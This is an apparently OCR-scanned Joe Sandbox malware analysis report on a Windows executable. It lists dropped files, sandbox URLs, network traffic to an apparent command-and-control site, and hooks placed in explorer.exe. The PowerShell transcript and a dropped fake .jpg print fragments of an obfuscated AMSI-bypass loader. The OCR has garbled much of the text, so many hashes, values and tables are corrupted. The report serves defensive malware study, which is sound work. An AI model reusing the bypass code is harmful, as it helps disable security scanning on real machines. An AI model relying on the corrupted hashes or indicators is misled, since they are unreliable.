https://view.joesandbox.com/analysis/354366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354366/html/none?idtype=webid
https://view.joesandbox.com/analysis/354309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354309/html/none?idtype=webid
https://view.joesandbox.com/analysis/353955/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353955/html/none?idtype=webid
https://view.joesandbox.com/analysis/353837/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353837/html/none?idtype=webid
https://view.joesandbox.com/analysis/353766/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353766/html/none?idtype=webid
https://view.joesandbox.com/analysis/353762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353762/html/none?idtype=webid
https://view.joesandbox.com/analysis/353556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353556/html/none?idtype=webid
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid
https://view.joesandbox.com/analysis/353530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353530/html/none?idtype=webid
https://view.joesandbox.com/analysis/353485/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353485/html/none?idtype=webid
https://view.joesandbox.com/analysis/353484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353484/html/none?idtype=webid
https://view.joesandbox.com/analysis/353393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353393/html/none?idtype=webid
https://view.joesandbox.com/analysis/353354/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353354/html/none?idtype=webid
https://view.joesandbox.com/analysis/353268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353268/html/none?idtype=webid
https://view.joesandbox.com/analysis/353182/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353182/html/none?idtype=webid
https://view.joesandbox.com/analysis/353144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353144/html/none?idtype=webid
https://view.joesandbox.com/analysis/353077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353077/html/none?idtype=webid
https://view.joesandbox.com/analysis/354576/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354576/html/none?idtype=webid
https://view.joesandbox.com/analysis/354426/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354426/html/none?idtype=webid
https://view.joesandbox.com/analysis/354409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354409/html/none?idtype=webid
https://view.joesandbox.com/analysis/354407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354407/html/none?idtype=webid
https://view.joesandbox.com/analysis/354392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354392/html/none?idtype=webid
https://view.joesandbox.com/analysis/354387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354387/html/none?idtype=webid
https://view.joesandbox.com/analysis/354384/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354384/html/none?idtype=webid
https://view.joesandbox.com/analysis/354375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354375/html/none?idtype=webid
https://view.joesandbox.com/analysis/354355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354355/html/none?idtype=webid
https://view.joesandbox.com/analysis/354335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354335/html/none?idtype=webid
https://view.joesandbox.com/analysis/354331/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354331/html/none?idtype=webid
https://view.joesandbox.com/analysis/354321/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354321/html/none?idtype=webid
https://view.joesandbox.com/analysis/354264/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354264/html/none?idtype=webid
https://view.joesandbox.com/analysis/354263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354263/html/none?idtype=webid
https://view.joesandbox.com/analysis/354193/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354193/html/none?idtype=webid
https://view.joesandbox.com/analysis/354163/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354163/html/none?idtype=webid
https://view.joesandbox.com/analysis/354128/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354128/html/none?idtype=webid
https://view.joesandbox.com/analysis/354050/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354050/html/none?idtype=webid
https://view.joesandbox.com/analysis/354047/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354047/html/none?idtype=webid
https://view.joesandbox.com/analysis/354041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354041/html/none?idtype=webid

No context

Created |/ dropped Files

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\oad[1].jpg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 2026850

Entropy (8bit):  4.762681838766658

Encrypted: false

SSDEEP: 12288:BgrUL/QryYqJOkK82HIUHvDcZlyy/hBc2T1lodg+GfVwZQIlzbiVgFvC4nPuoHMcnS:i

MDS5: 7E40951D41A43B25F38C6DD25DC4BFE3

SHAL: D389E4ED359D16981FFOE05739AC4C4A96311C60

SHA-256: 64A73E000DC919BC362CEA33F87549DA0D847C16F826E62138BF269006EF8C1C

SHA-512: 17782CE108E5B7443D69CF024E497D33A3D9A2A39E155A34E3BD59832F447C31EFADD75E2FAF1B381F38691CCFIE11FB6D579896D999E5097BE1700A5AAL7EO!
Malicious: false

Reputation: low

Preview:

V3JIpdGUtYmVyYm9zZSAiR2VOLURIY29tcHJIc3NIZEJ5dGVBcnJheSI7IGE9IGEIV3IpdGUtSG9zdCANnezI30ODE3N]FFLTI4RTAINDEWOS050UZFLUISRDEY
NOM1NOFGRX0nO1dyaXRILVZIcmJvc2UglkdldC1EZWNvbXByZXNzZWRCeXRIQXJyYXkiOyRhPSRhPVdyaXRILUhvc3QgJ3syNzgxNzYxRS0yOE UwLTQxMDkt
OTIGRS1COUQxMjdDNTdBRKV9JzskYSAIFtSZWZdLkFzc2VtY mx5LkdIdFR5cGU0J1IN5C3RIbS5NYW5hZ2VtZW50LKF1dGOtY XRpb24uQW1zaVVoJysnaWxz
JykKIGggPSAINDQINjYYyNTIlyMDU3NTI2MzE3NDQ1MjU1NDgONyIKIJHMgPSBbc3RyaW5nXSgwLidxM3wleltjaGFyXVtpbnRdKDUzKygkaCkuc3Vic3Ryawsn
KCgkXyoyKSwyKSI9KS1yZXBsYWNIICIglgokYiA9ICRhLkdIdEZpZWxkKCRzLCdOb25QdWJIsaWMsU3RhdGljIykKJIGIuU2VOVmFsdWUo0JG51bGwsJHRydWUp
OyAKYTOKYT1Xcml0ZS1Ib3NOICd7Mjc4MTc2MUUtMjhFMCOOMTASLTKSRKUtQJIEMTI3QzU3QUZFfSc7JGE9IGEIV3IpdGUtSG9zdCAnezI3ODE3NjFFLTI4
RTAtNDEWOS050UZFLUISRDEyNOM1INOFGRX0NOyRhPSRhPVdyaXRILUhve3QgJ3syNzgxNzYxRSOyOEUWLTQXMDktOTIGRS1COUQxMjdDNTABRKV9JzskYTOk
YT1Xcml0ZS11b3NOICd7Mjc4MTc2MUUtMjhFMCOOMTASLTKSRKULQJIEMTI3QzU3QUZFfSc7CldyaxXRILUhve3QglisrKysrKysrKysrKysrKysrKysrKysrKysrKysrKy
srKysrKysrKysrKysrKysrKysrKysr

C:\Users\user\AppDatal\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 11606

Entropy (8bit): 4.883977562702998

Encrypted: false

SSDEEP: 192:Ax0e5FpOMx0e5PibaGVsm5emdKVFn3eGOVpN6EK3bkkjo5HgkjDt4iWN3yBGHN9sO:6fibdAGGVoGIpN6KQkj2Akjh4iUxs14fr

MD5: 1F1446CE05A385817C3EF20CBD8B6EGA

SHA1L: 1E4B1EESEFCA361C9FB5DC286DD7A99DEA31F33D

SHA-256: 2BCEC12B7B67668569124FEDOEOCEF2C1505B742F7AE2CF86C8544D07D59F2CE

SHA-512: 252AD962C0E8023419D756A11FODDF2622F71CBCI9DAE31DC14D9C400607DF43030E90BCFBF2EE9B89782CC952E8FB2DADD7BDBBA3D31E33DA5A589A76B87(
14

Malicious: false

Preview:

C:\Users\user\AppDatal\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 1352

Entropy (8bit):  5.370926585110904

Encrypted: false

SSDEEP: 24:3YPpQrLA04KAXX5qRPD42HO0Fe9t4CvKuKnKJIfMoOBg+Y:IPerB4nqRL/HvFe9t4Cv94afMoOBg+Y

MD5: 5A7C43375E2B3C9D028C036F7E199FDF

SHAL: 0B83ACEFEG60D292C1A76DCEA7160D6E14D2FAAT7

SHA-256: 04DC7F291DA8492242C8386028CC4D8DAB5ADAGDDAGOA08677495495E2A6F6A8

SHA-512: 420D7C9467B1087D3E01BA4DFC76348DCDB97A61B5FA8A52BA167E566D4859220843EFDD64B650183BFA2E4D7ES5C454FD21CF89D95F79AC13E671AAESBC627
B

Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

revew @i @.......... £ TR [PUTON I0% SR System.Numerics.H............... <@.AM.L."My.......... .Microsoft.PowerShell.ConsoleHostO0............... G-.0..
AL4B. System..4............... [..{a.C..%6..h......... System.Core.D............... fZve...F.....x.)........System.Management.AutomationL............... 7. d@.ooo~ e #.Micro
soft. Management.Infrastructure.<................ H.QN.Y.foe System.Management...@...... ...L0...ON.....<Q........ System.DirectoryServices4......... ....295..:0..9..q.......
...System.Xml..4............... T.'Z.N.Nvj.G......... System.Data.H.. Microsoft.PowerShell.Security...<............... )L.PzZ.O.E.R............ System.Tran
sactions.<.......... 1gK..G..$.1.q........ System.ConfigurationP. /.C..J.%..]....... %.Microsoft.PowerShell. Commands.Utility...D.................. -D.F.<;.ntl..... S
ystem.Configuration.Ins

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_1pghm4uj.4ml.psl

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4AEAA22F1DA9C01ES52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560ES5F7FI9BD058A12A280433ED6FA4651(
A

Malicious: false

Preview:

1

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_tlvkzbwx.aab.psm1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

SHA-512: 4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651(
A

Malicious: false

Preview:

1

C:\Users\user\Documents\20210722\PowerShell_transcript.965543.TYqX5dwv.20210722175925.txt

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 10447

Entropy (8bit):  4.196049168281877

Encrypted: false

SSDEEP: 192:12Giw/GOrwwJY ZbKIDFs+xS2Giw/GOrwwJYZbKIDFs+xrL99999L:Ezw/GOrwwJYgIDFVxIzw/GOrwwJYgIDX

MD5: 2A0D140A36C556BC4C74DF793E698D99

SHAL: 299D4F22830E4FF96EC8093F77B29C93779B9E4L

SHA-256: A090D1E73A91DDFD68E472ADDOFE24FBCF94505500A111CEFOD4642E529DA9CB

SHA-512: 289F7991CD626D87AE6661820338737A85B486FA907D49696F1F62CCBESEB707B7A22EF5AFASFCEF18E140A19AF9EOEG69F111D51FDCB6B04F54B420E51A20C:!

Malicious: false

Preview:

ekl Windows PowerShell transcript start..Start time: 20210722175925..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 965543 (Microsoft Windows NT 10.0.17134.0)..Host Application: Powershell $8B0111F552=[Ref]. Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'. Autom
+atio'+'n.A+'m'+'si'+'Utils");$835FFE 1926="4456625220575263174452554847";$9FEOAD5C66=[string](0..13|%({[char][int] (53+($835FFE1926).substring(($_*2),2))})-rep
lace ' ;$58FB808063=$8B0111F552.GetField($9FEOAD5C66,' Non "\ replace (",'Pub')+'lic,S'+'tatic’);$58FB808063.SetValue($null $true);($A72FIB815A=$A
72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674");$6765
44567888888888876545666778=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,3
9,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,3

Static File Info
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General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Sections

Name Virtual Address

Copyright Joe Security LLC 2021

PE32+ executable (console) x86-64, for MS Windows
6.055482508518817

Win64 Executable Console (202006/5) 92.64%
Win64 Executable (generic) (12005/4) 5.51%
Generic Win/DOS Executable (2004/3) 0.92%
DOS Executable Generic (2002/1) 0.92%

VXD Driver (31/22) 0.01%

e o o o o

s2rsXUiUn8.exe

26624

f5041ec4ce468a07echfd076bcOf879b
bda8cealec8dlcea253fc661559cd84cee2195hb9

caff14d450514a35eac5ba34b3e74126360662d7c8fdf60
aB8008a0e3bb8ed0b3

4e64a727da994675aa7517f260d639691f6a94bc9c510d¢
de9d54f2f6e7f005b8b799eeeald9aadldc5128290654fa
884a4aa0e397f96444914a067b8bd15c88

768:k09xN+bR7ftwwAqCnv/sx30fEbR7t6l:nPwbR8t/3M
R7AP

is program cannot be run in DOS mode....$.
) ' WH

00828e8e8686b000

0x4014e0
text

false
0x400000
windows cui

EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, LINE_NUMS_STRIPPED,
RELOCS_STRIPPED

0x60F1F868 [Fri Jul 16 21:21:44 2021 UTC]
0x40dba0

o » o » O &

eb4027891a3c2b24db6240a4f60e56ad

ZLIB Complexity File Type Entropy Characteristics
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Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x1d28 0x1e00 False 0.581510416667 data 5.9205123354 IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_256BYTES,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_ALIGN_1BYTES,
IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_ALIGN_2048BYTES,
IMAGE_SCN_ALIGN_1024BYTES,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_4BYTES,
IMAGE_SCN_ALIGN_8BYTES,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ

data  0x3000 0xdo 0x200 False 0.130859375 data 0.806747366598 IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_256BYTES,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_ALIGN_1BYTES,
IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_ALIGN_2048BYTES,
IMAGE_SCN_ALIGN_1024BYTES,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_4BYTES,
IMAGE_SCN_ALIGN_8BYTES,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ

rdata  0x4000 0x1530 0x1600 False 0.352450284091 data 4.41763079769 IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_ALIGN_2BYTES,
IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_ALIGN_2048BYTES,
IMAGE_SCN_ALIGN_1024BYTES,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_512BYTES,
IMAGE_SCN_ALIGN_4BYTES,
IMAGE_SCN_ALIGN_8BYTES,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ

pdata 0x6000 0x270 0x400 False 0.6533203125 data 5.62214281151 IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_256BYTES,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_ALIGN_2BYTES,
IMAGE_SCN_ALIGN_1BYTES,
IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_ALIGN_1024BYTES,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_512BYTES,
IMAGE_SCN_ALIGN_4BYTES,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ

xdata  0x7000 ox1f4 0x200 False 0.462890625 data 3.72511278935 IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_256BYTES,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_ALIGN_2BYTES,
IMAGE_SCN_ALIGN_1BYTES,
IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_ALIGN_1024BYTES,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_512BYTES,
IMAGE_SCN_ALIGN_4BYTES,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ
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Name Virtual Address

.bss 0x8000

.idata 0x9000

.CRT 0xa000

A

s 0xb000

.vmpO 0xc000

.cobf 0xd000

Imports

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
07/22/21- ICMP 382
17:59:32.490432
07/22/21- ICMP 384
17:59:32.490432
07/22/21- ICMP 408

17:59:32.532665

Copyright Joe Security LLC 2021

Virtual Size Raw Size
0x980 0x0
0x7e8 0x800
0x68 0x200
0x10 0x200
OxecO 0x1000
Oxbde 0xc00
Message

ICMP PING Windows

ICMP PING

ICMP Echo Reply

Xored PE

False

False

False

False

False

False

ZLIB Complexity
0

0.53759765625

0.056640625

0.02734375

0.83056640625

0.638997395833

File Type
empty

data

data

data

data

data

Entropy
0.0

4.83593419899

0.170145652003

0.0

7.19991970418

6.157131337

Characteristics

IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_ALIGN_2BYTES,
IMAGE_SCN_ALIGN_2048BYTES,
IMAGE_SCN_ALIGN_1024BYTES,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_512BYTES,
IMAGE_SCN_CNT_UNINITIALIZED
_DATA,
IMAGE_SCN_ALIGN_4BYTES,
IMAGE_SCN_ALIGN_8BYTES,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ

IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_256BYTES,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_ALIGN_2BYTES,
IMAGE_SCN_ALIGN_1BYTES,
IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_ALIGN_1024BYTES,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_512BYTES,
IMAGE_SCN_ALIGN_4BYTES,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ

IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_ALIGN_2048BYTES,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_8BYTES,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ

IMAGE_SCN_ALIGN_MASK,
IMAGE_SCN_ALIGN_16BYTES,
IMAGE_SCN_ALIGN_64BYTES,
IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_ALIGN_2048BYTES,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_ALIGN_32BYTES,
IMAGE_SCN_ALIGN_8BYTES,
IMAGE_SCN_ALIGN_8192BYTES,
IMAGE_SCN_ALIGN_4096BYTES,
IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_NOT_PAGED,
IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

Source Dest

Port

Port Source IP

Dest IP

192.168.2.5 216.58.215.238

192.168.2.5 216.58.215.238

216.58.215.238 192.168.2.5

Page 19 of 26



Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 22, 2021 17:59:32.378942013 CEST 192.168.2.5 8.8.8.8 0xa53f Standard query  google.com A (IP address) IN (0x0001)
(0

Jul 22, 2021 17:59:32.432296038 CEST 192.168.2.5 8.8.8.8 Oxb7ca Standard query  google.com A (IP address) IN (0x0001)
(0

Jul 22, 2021 17:59:33.240242004 CEST 192.168.2.5 8.8.8.8 0x4bc7 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

Jul 22, 2021 18:00:57.994560957 CEST 192.168.2.5 8.8.8.8 0xe518 Standard query  www.rajuhe A (IP address) IN (0x0001)
(0) rbalandspi

cegarden.com

Jul 22, 2021 18:01:19.086133957 CEST 192.168.2.5 8.8.8.8 0x8d59 Standard query  www.strawb A (IP address) IN (0x0001)

0) errylinebi
kehire.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 22, 2021 8.8.8.8 192.168.2.5 0xa53f No error (0) google.com 216.58.215.238 A (IP address)  IN (0x0001)

17:59:32.429265022

CEST

Jul 22, 2021 8.8.8.8 192.168.2.5 Oxb7ca No error (0) google.com 216.58.215.238 A (IP address)  IN (0x0001)

17:59:32.489460945

CEST

Jul 22, 2021 8.8.8.8 192.168.2.5 0x4bc7 No error (0) cdn.discor 162.159.134.233 A (IP address)  IN (0x0001)

17:59:33.302604914 dapp.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.5 0x4bc7 No error (0) cdn.discor 162.159.133.233 A (IP address)  IN (0x0001)

17:59:33.302604914 dapp.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.5 0x4bc7 No error (0) cdn.discor 162.159.135.233 A (IP address)  IN (0x0001)

17:59:33.302604914 dapp.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.5 Ox4bc7 No error (0) cdn.discor 162.159.129.233 A (IP address)  IN (0x0001)

17:59:33.302604914 dapp.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.5 0x4bc7 No error (0) cdn.discor 162.159.130.233 A (IP address)  IN (0x0001)

17:59:33.302604914 dapp.com

CEST

Jul 22, 2021 8.8.8.8 192.168.2.5 0xe518 No error (0) www.rajuhe rajuherbalandspicegarden CNAME IN (0x0001)

18:00:58.188177109 rbalandspi .com (Canonical

CEST cegarden.com name)

Jul 22, 2021 8.8.8.8 192.168.2.5 0xe518 No error (0) rajuherbal 192.185.17.130 A (IP address)  IN (0x0001)

18:00:58.188177109 andspicega

CEST rden.com

Jul 22, 2021 8.8.8.8 192.168.2.5 0x8d59 Name error (3)  www.strawb none none A (IP address)  IN (0x0001)

18:01:19.148035049 errylinebi

CEST kehire.com

HTTP Request Dependency Graph

e www.rajuherbalandspicegarden.com

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49724 192.185.17.130 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred Direction
Jul 22, 2021 7373 ouT
18:00:58.357666969 CEST
Jul 22, 2021 7375 IN
18:00:59.770776987 CEST
HTTPS Packets

Source
Timestamp Source IP Port Dest IP
Jul 22, 2021 162.159.134.233 443
17:59:33.423166037
CEST

Code Manipulations

User Modules

Hook Summary

Function Name
PeekMessageA
PeekMessageW
GetMessageW
GetMessageA

Processes

Statistics

Behavior

y

ne)

Click to jump to process

System Behavior

Copyright Joe Security LLC 2021

192.168.2.5 49711

Data

GET /pjje/?bxI0d=DItNRLknYIPOXZZpswXifEZmZKsLvkDXv3EaEi+D7UBg3hXwO76Ip4IkAwlkhMTnG44t&r48t

w=4hFOdRLhcH HTTP/1.1

Host: www.rajuherbalandspicegarden.com
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Thu, 22 Jul 2021 16:00:59 GMT

Server: nginx/1.19.10

Content-Type: text/html; charset=UTF-8
Content-Length: 0

X-UA-Compatible: IE=edge

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Location: http://rajuherbalandspicegarden.com/pjje/?bxI0d=DItNRLknYIPOXZZpswXifEZmZKsLvkDXv3EaEi+D7U

Bg3hXwO76Ip4lkAw1lkhMTnG44t&r48tw=4hFOdRLhcH
X-Endurance-Cache-Level: 2

X-Server-Cache: true

X-Proxy-Cache: MISS

Dest
Port

Subject Issuer

CN=Cloudflare Inc
ECC CA-3,
O="Cloudflare, Inc.",
C=US CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

CN-=sni.cloudflaressl.com,
O="Cloudflare, Inc.", L=San
Francisco, ST=CA, C=US
CN=Cloudflare Inc ECC CA-3,
O="Cloudflare, Inc.", C=US

CN=Cloudflare Inc ECC CA-3,
O="Cloudflare, Inc.", C=US

CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

Not
Before

Tue Jan
19
01:00:00
CET
2021
Mon Jan
27
13:48:08
CET
2020

Mon Jan
27
13:48:08
CET
2020

Hook Type Active in Processes
INLINE explorer.exe
INLINE explorer.exe
INLINE explorer.exe
INLINE explorer.exe

Not
After

Wed

Jan 19
00:59:59
CET
2022
Wed

Jan 01
00:59:59
CET
2025

Wed

Jan 01
00:59:59
CET
2025

JA3 SSL Client
Fingerprint
771,49196-
49195-49200-
49199-49188-
49187-49192-
49191-49162-
49161-49172-
49171-157-156-
61-60-53-47-
10,0-10-11-13-
35-23-65281,29-
23-24,0

JA3 SSL Client Digest

37f463bf4616ecd445d4al
937da06e19
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Analysis Process: s2rsXUiUn8.exe PID: 4440 Parent PID: 5540

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

17:59:22

22/07/2021
C:\Users\user\Desktop\s2rsXUiUn8.exe
false
‘C:\Users\user\Desktop\s2rsXUiUn8.exe'
0x400000

26624 bytes
F5041EC4CE468A07ECBFD076BCOF879B
true

true

C, C++ or other language

Reputation: low
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 5436 Parent PID: 4440

General

Start time: 17:59:23

Start date: 22/07/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: powershell.exe PID: 5116 Parent PID: 4440
General
Start time: 17:59:24
Start date: 22/07/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false

Copyright Joe Security LLC 2021
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Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
